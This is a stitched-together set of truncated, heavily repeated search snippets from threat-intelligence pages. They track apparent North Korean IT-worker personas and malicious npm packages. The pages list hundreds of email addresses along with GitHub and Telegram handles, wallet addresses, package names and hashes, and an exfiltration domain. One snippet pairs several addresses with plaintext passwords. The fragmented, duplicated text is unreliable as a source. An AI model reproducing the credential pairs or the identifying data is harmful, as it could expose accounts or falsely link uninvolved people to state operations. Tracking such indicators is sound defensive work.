webmonster0407@gmail.com webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gm…","…m webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com webmonster0407@gmail.com webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail…","…webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com webmonster0407@gmail.com webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com…","…ebdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com webmonster0407@gmail.com webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizh…","…Vasyl Smirnov - Ethan Chan - Leon Zhang - Evgeny Shalimov - loganlee002@gmail.com - loganworld002@gmail.com - akp707d@gmail.com - websolution0524@gmail.com - smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com - johnwilliam199024@gmail.com - github.com/loganworld -…","…Project: Hogwarz, hogwarz.com Emails: loganlee002@gmail.com loganworld002@gmail.com akp707d@gmail.com websolution0524@gmail.com smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld github.com/logan-smith-cloud…","…ru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com webmonster0407@gmail.com webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com weri…","…123qwe!@#QWE uri.dev.0802@gmail.com 123qwe!@#QWE vasyl.chow@gmail.com 123qwe!@#QWE, secret29 webmaster0407@gmail.com 123456 webstar0411@gmail.com 123qwe!@#QWE DPRK PASSWORD ANALYSIS It’s clear that these might NOT be the main passwords of DPRK IT Workers but still a vital…","…er0527@gmail.com webmaster19941022@gmail.com webmonster0407@gmail.com webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com w…","…er19941022@gmail.com webmonster0407@gmail.com webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whayd…","…(JWT), byte-identical across copies Committer-email IOCs (per AllSecure; recur across both repos): coinstar@gmail.com , webvlada2024@gmail.com , randhawamanpreet37@gmail.com , ignusmart@gmail.com , mjlescano@protonmail.com , Pourcheriki@gmail.com , aaronhiroto.bm@gmail.com ,…","…onster0407@gmail.com webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com whe…","…email insider N/A N/A Threat actor persona email 4 Gulfdom0209@outlook.com email insider N/A N/A Threat actor persona email 4 Wei861420@gmail.com email insider N/A N/A Threat actor persona email 4 brianyoung0203@outlook.com email insider N/A N/A Threat actor persona email 4…","…in Review natasa.golubovic90@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review weili.walk@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review afaq91169@gmail.com email malware N/A…","…webphantom20103@gmail.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@giz…","…sp0t.s3@outlook.com - spot.jk7@gmail.com - mhcrocky@gmail.com - teacheraccount@gmail.com - thinkd.developer@gmail.com - weiyang.jin1202@gmail.com - zuhalvalmerikh@gmail.com - github.com/batmanst - github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 -…","…l.com webstar0104@gmail.com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109…","…Review alphabrownsapon70555@hotmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review welbykchamu4i72@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review eron4236@gmail.com email malware N/A November…","….com webstar0411@gmail.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace3…","…l.com webtalent0125@gmail.com webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@g…","…valleyhomesguide14195@gmail.com victormolonna510727@outlook.com vitalcityhomes22591@gmail.com westfieldhomeagent66414@gmail.com yorktownhomesales08111@gmail.com yuleyuccaxoiqw85368@outlook.com bohdanstashkiv.bs@outlook.com…","…m webtopper20103@gmail.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1…","…hian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.co…","…@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fabulous1@gmail.com tinydever@gmail.com dashhello4@gmail.com simonbergman516@gmail.com robertgreen1217@gmail.com ashleyspalliero408@gmail.com jackkarlsso…","…Scott Brown - aka Kyle Larsen, Sean Day - breavedev - nevermindhim - verytinydever - scott.brown0629 - scott.brown0629@gmail.com - what.a.fabulous1@gmail.com - sct.brown0629@gmail.com - github.com/breavedev - github.com/nevermindhim - github.com/verytinydever -…","…l.com wedev0916@gmail.com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredo…","…com weiryan429@gmail.com weizhang.oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@g…","…v6.5.2 ( download ) needlesstosay (needlesstosay0o0o0@gmail.com) 2026-02-25 19:38:58 ether-lint v5.9.4 ( download ) maheshkya (whereisandrew2@gmail.com) Analysis These packages contain an install script: \"node ./scripts/test/install.js\" . The presence of an install script overrides…","…oon@gmail.com werityouri@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0…","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address widespace344712@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The researcher gives no name, and the address does not read as one, so the page is filed under the address’s own local part rather than under a name invented for it.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 25 commits signed widespace344712@gmail.com, an address browsercookies publishes for this persona, to github.com/redbird1218, account id 130370137, created on 10 April 2023, with 10 public repositories.","…@gmail.com wesleykeithfordev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0622@gmail.com william0803s…","…email insider N/A N/A Synthetic persona email 2 briangaida12@outlook.com email insider N/A N/A Synthetic persona email 2 wiktor.rogal@outlook.com email insider N/A N/A Synthetic persona email 2 michalcopik1@outlook.com email insider N/A N/A Synthetic persona email 2…","…up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0622@gmail.com william0803smith+1@gmail.com william0803smith@gmail.com wil…","…email insider N/A N/A Threat actor persona email 4 mdmahdiul@gmail.com email insider N/A N/A Threat actor persona email 4 wildbotgamer@gmail.com email insider N/A N/A Threat actor persona email 4 tramendo.L@outlook.com email insider N/A N/A Threat actor persona email 4…","…vinkeyasmael@hotmail.com vladkashka56@gmail.com vladzane569@gmail.com warfelbyeon95om0@hotmail.com wilderkeatingrmtuw64788@hotmail.com williammorphy37@gmail.com wondereleven1@gmail.com xinrong83@outlook.com yevheniikasymchuk@gmail.com yonismith727@outlook.com…","…mail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0622@gmail.com william0803smith+1@gmail.com william0803smith@gmail.com williambronaugh15@gmail.com wil…","…(10.0.5) 2026-08-07 vite-plugin-eslint <tech.lead@claritev.health> 2026-08-07 txrand (1.0.6) 2026-08-07 wiliamsam9985 <wiliamsam9985@gmail.com> 9f2223fc092279ce1cbc60b4ef34fac179b137f1567008ac94bcdaad46c0309f 2026-08-06 express-chai (3.7.9) 2026-08-06 mear59891…","…8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0622@gmail.com william0803smith+1@gmail.com william0803smith@gmail.com williambronaugh15@gmail.com williamearth0603@gmail.com…","….com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0622@gmail.com william0803smith+1@gmail.com william0803smith@gmail.com williambronaugh15@gmail.com williamearth0603@gmail.com williamgrayson789+1@gmail.com williamgrayson789@gmail.com williamlee0121.sw@gmail.co…","…com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0622@gmail.com william0803smith+1@gmail.com william0803smith@gmail.com williambronaugh15@gmail.com williamearth0603@gmail.com williamgrayson789+1@gmail.com williamgrayson789@gmail.com williamlee0121.sw@gmail.com williamshatner121213@gmail…","…![](./nathan-cao-james-lee-2.jpg) #### William Chang - Claimed Hong Kong - https://github.com/wc117 - williamchang89117@gmail.com - t.me/wc117 - https://pythonweekly.substack.com/p/python-weekly-12 - 0x5fE70D0C41a204839c88503261bbFBd59F72a2E3 -…","…pwlkjakub@gmail.com gru.dev259007@gmail.com toptall.cook@gmail.com kallis0312@gmail.com takutic.tech518@gmail.com williamduncan91413@gmail.com Identities Lucas Chang Hiroto Iwaki Taku Yamamoto Motoki Masuo Aiden Wong Ruslan Vinnichuk Maksym Poplavskyi…","…com wiliwork1103@gmail.com william.greene0622@gmail.com william0803smith+1@gmail.com william0803smith@gmail.com williambronaugh15@gmail.com williamearth0603@gmail.com williamgrayson789+1@gmail.com williamgrayson789@gmail.com williamlee0121.sw@gmail.com williamshatner121213@gmail.com williamtomspro@gmail.c…","…illiam0803smith+1@gmail.com william0803smith@gmail.com williambronaugh15@gmail.com williamearth0603@gmail.com williamgrayson789+1@gmail.com williamgrayson789@gmail.com williamlee0121.sw@gmail.com williamshatner121213@gmail.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com w…","…w0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0622@gmail.com william0803smith+1@gmail.com william0803smith@gmail.com williambronaugh15@gmail.com williamearth0603@gmail.com williamgrayson789+1@gmail.co…","…ichiro@0xlancerlab.com - hanssuperdev1026@gmail.com - hansjkiller1026@outlook.com - tomasjakson44@gmail.com - ssch26802@gmail.com - williamh8930@gmail.com - github.com/thomson0313 - github.com/fullstackdev8681 - github.com/louistalent - github.com/galaxy-foundation -…","…hansjkiller1026@outlook.com[email protected] tomasjakson44@gmail.com[email protected] ssch26802@gmail.com[email protected] williamh8930@gmail.com[email protected]…","…alent48@gmail.com ichiro@0xlancerlab.com hanssuperdev1026@gmail.com hansjkiller1026@outlook.com tomasjakson44@gmail.com ssch26802@gmail.com williamh8930@gmail.com Github: thomson0313 fullstackdev8681 louistalent galaxy-foundation galaxydigital TopDeveloper0809 IlliaButenko johnhoang-star techsavvynin…","…william0803smith@gmail.com williambronaugh15@gmail.com williamearth0603@gmail.com williamgrayson789+1@gmail.com williamgrayson789@gmail.com williamlee0121.sw@gmail.com williamshatner121213@gmail.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com…","…vladkashka56@gmail.com vladzane569@gmail.com warfelbyeon95om0@hotmail.com wilderkeatingrmtuw64788@hotmail.com williammorphy37@gmail.com wondereleven1@gmail.com xinrong83@outlook.com yevheniikasymchuk@gmail.com yonismith727@outlook.com…","…illiambronaugh15@gmail.com williamearth0603@gmail.com williamgrayson789+1@gmail.com williamgrayson789@gmail.com williamlee0121.sw@gmail.com williamshatner121213@gmail.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas4…","…iamearth0603@gmail.com williamgrayson789+1@gmail.com williamgrayson789@gmail.com williamlee0121.sw@gmail.com williamshatner121213@gmail.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderf…","…keizir - willie.lee226 - github.com/keizir • [Archive](https://archive.ph/SjJfK) - willie.lee226@gmail.com - 0x97e36fAE76cD7ef7cC1213927A9A4E10a61CdD8d #### Peter Xiao - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) -…","…lliamgrayson789+1@gmail.com williamgrayson789@gmail.com williamlee0121.sw@gmail.com williamshatner121213@gmail.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wo…","…om williamgrayson789@gmail.com williamlee0121.sw@gmail.com williamshatner121213@gmail.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@…","…danxeth436@gmail.com jennyjenkins783@gmail.com david36271@outlook.com rkupriyanof@gmail.com vallierhilaire@gmail.com willsuccess47@gmail.com ahmedali06091@gmail.com c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com star712418@gmail.com…","…ev@gmail.com wev.dev.up@gmail.com whaydigital@gmail.com wheat.country.fb12a8@gizmotik.com whitecrow0109@gmail.com widespace344712@gmail.com wil.mok.86@gmail.com wilbert.lee1205@gmail.com wilfredogahit0821@gmail.com wiliwork1103@gmail.com william.greene0622@gmail.com william0803smith+1@gmail.com will…","…Year in Review mimoriokamoto@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review wilson.wen2145@outlook.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review jasonfissionawgyi08293@outlook.com email…","…arogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmail.com guangheli211@gmail.com wilsondovi21@gmail.com asemenovboyarka@gmail.com alex@bellsstudio.site freeserviceexpert@gmail.com sadah12290@gmail.com leoxtechdev@gmail.com goldenharvestmidas@g…","…drick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmail.com guangheli211@gmail.com wilsondovi21@gmail.com asemenovboyarka@gmail.com alex@bellsstudio.site freeserviceexpert@gmail.co…","…, \"name\" : \"SusanoO\" \"email\" : \"oleksandr.sytnikov0413@gmail.com\" , \"name\" : \"Theodor Nakajima\" \"email\" : \"wind.shadow1004@gmail.com\" , \"name\" : \"AlterShow\" Contributors to CrazyDream00 repositories: CryptoSenju, jewelas Mutual followers :…","…m williamlee0121.sw@gmail.com williamshatner121213@gmail.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@g…","…chalk-logger-prettier-1.0.3.tgz exfil: chalk-logger.vercel.app 2026-03-12 18:49:27 big-numben (v5.0.3) w.ixs.t.ocle (w.ixs.t.ocle@googlemail.com) big-numben-5.0.3.tgz ID for es-lint-builder 2026-03-12 18:19:53 es-lint-builder (v1.0.1) w.ixs.t.ocle (w.ixs.t.ocle@googlemail.com)…","…williamshatner121213@gmail.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail…","…t.me/cox1118 (ID: 5034927805) • ([Messages](./user-5034927805-@cox1118-Lucas-Wong.txt)) - lucas.wong.1118@gmail.com - wm111898@gmail.com - Discord: c__x__ - lucasw.net - 0xee52717e6dA13499a3C4ba803e4D952CF052704E - 0x94A8518B76A3c45F5387B521695024379d43d715 -…","…il.com williamtomspro@gmail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com…","…2026-10-05 solidity-gas-watcher (2.21.0) 2026-10-05 wolineann811 <WolineAnn81@hotmail.com> 7e4c6d76f1d845f752e37876a2d3f773996719f33c2d1c282e0a84b04444efeb 2026-10-04 hardhat-spack (3.0.2) 2026-10-04…","…vladzane569@gmail.com warfelbyeon95om0@hotmail.com wilderkeatingrmtuw64788@hotmail.com williammorphy37@gmail.com wondereleven1@gmail.com xinrong83@outlook.com yevheniikasymchuk@gmail.com yonismith727@outlook.com yuleseraphxyvoi89853@hotmail.com…","…ail.com willjsmith9288@gmail.com willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp99807…","…Yusuke Morimoto email JP domain signals Japanese persona kawakami615@outlook.com[email protected] Naoki-K615 email wonder.man315@gmail.com[email protected] Yusuke portfolio site email From showyouyusuke.vercel.app Phone numbers & Telegram Identifier Type Cluster…","…om willsmith.libra928@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorz…","…discovered: Identity rotation on GitHub: In the case of aidenwong812 , we were able to discover multiple identities used: wongaiden812@gmail.com : aidenwong812 / Aiden Wong DELETED / DEAD (February 26, 2025) vincenzagiorgi6@gmail.com : Ruslan Vinnichuk / Ruslan DELETED / DEAD…","…@gmail.com wintermountain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyet…","…6d06757f9ab4a23c5f09b416308cff0322ada95f0484ec4c76386cfb6898a17d 2026-09-26 chai-as-relay (1.2.1) 2026-09-26 woodjack11 <woodjackoat442@outlook.com> cc93ac7310b3a044badfc17f112a763bb24452ca88236892a470fdd362a9af36 2026-09-26 chai-as-fusion (2.3.6) 2026-09-26 cauaeth422…","…ntain2375@gmail.com wizard.man0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw…","…an0308@gmail.com wobas48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xael…","…s48957@elixirsd.com wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.o…","…wonderfulfuture1993@gmail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.…","…2026-04-03 live registry vichevmafaaxe@hotmail.com trackora-chain 2026-03-30 npm index recovery wovon16983@marvetos.com trackora-node 2026-03-30 graph first seen wovon16983@marvetos.com ts-big-lib 2026-03-23 live registry…","…of chai-as-adapter , chai-as-chain-v2 , chai-as-evm — appears in the same cluster mwai2005@officecombine.com ( chai-use-chain ), wovon16983@marvetos.com ( trackora-chain , trackora-node ), mexowoj971@izkat.com ( chai-str ), borire8128@jsncos.com ( chai-beta ), and jghff@smartretireway.com (…","…ail.com wonderp087@gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.senio…","…of the threat actor identified during the analysis process are as follows. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com Through its blog, ASEC has been consistently sharing information about the distribution of malicious shortcut…","…Email w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com 이 글 공유하기…","…disclosed five Gmail accounts used by the threat actor. Gmail Addresses tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ Username searches based on the Yandex email addresses returned LinkedIn…","…식별됐던 대표적인 이메일 계정은 다음과 같습니다. tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ 'panic.dat' 파일은 Shellcode 루틴을 통해 암호화된 RoKRAT 모듈이 실행됩니다. [그림 4-2] Shellcode 디코딩…","…배후의 사이버 정찰 활동 분석 ' 보고서를 통해 위협 행위자가 사용한 5개의 구글 지메일 계정이 공개된 바 있습니다. 지메일(Gmail) 주소 tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com ○ 얀덱스 이메일에 사용된 아이디를 검색하면, 동일 이름의 링크드인 이용자가 일부 조회됩니다.…","…hotaruemori@gmail.com veerapandianvijai@gmail.com akijohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.…","…gmail.com woobinpro@gmail.com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao199605…","….com workaholic8118121@gmail.com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decom…","….com workartow2@gmail.com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@to…","….com workbee49@gmail.com works171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenic…","…2026-03-28 live registry cubistengineer@gmail.com tailwind-animationbasic 2026-03-28 live registry xakew48888@exahut.com tailwind-configuration 2026-03-26 graph first seen kenedyleon350@gmail.com tailwind-scroller 2026-03-30 live…","…in Review jasonharris198852@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review xavieryetikqpir36636@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review marcello.armand.tf7@gmail.com email malware…","…fd1ef3edfc6c02581abf6bf69f9e73b19ca8d3ddc915fa51beba648e6c0ae62f 2026-09-10 tailwind-form-kit (0.6.3) 2026-09-10 xefila5297 <xefila5297@hebase.com> 2026-09-10 tailwind-form-kit (0.6.2) 2026-09-10 xefila5297 <xefila5297@hebase.com> stapi.io h.drpc.org e.com et…","…rks171707@gmail.com wp998079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.h…","…3844EC6EC70347913BD1156F8CD159B8 Emails Brambul sends stolen credentials to whiat1001@gmail.com johnS203@yahoo.com xiake722@gmail.com Brambul Brute-Force Password List See https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/worm_brambul.at Learn…","…@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org ya…","…98079@gmail.com wwd.ceorzu0320@gmail.com wyeth.josie@madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.r…","…madeforthat.org x0gw95iy@anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yekno…","…warfelbyeon95om0@hotmail.com wilderkeatingrmtuw64788@hotmail.com williammorphy37@gmail.com wondereleven1@gmail.com xinrong83@outlook.com yevheniikasymchuk@gmail.com yonismith727@outlook.com 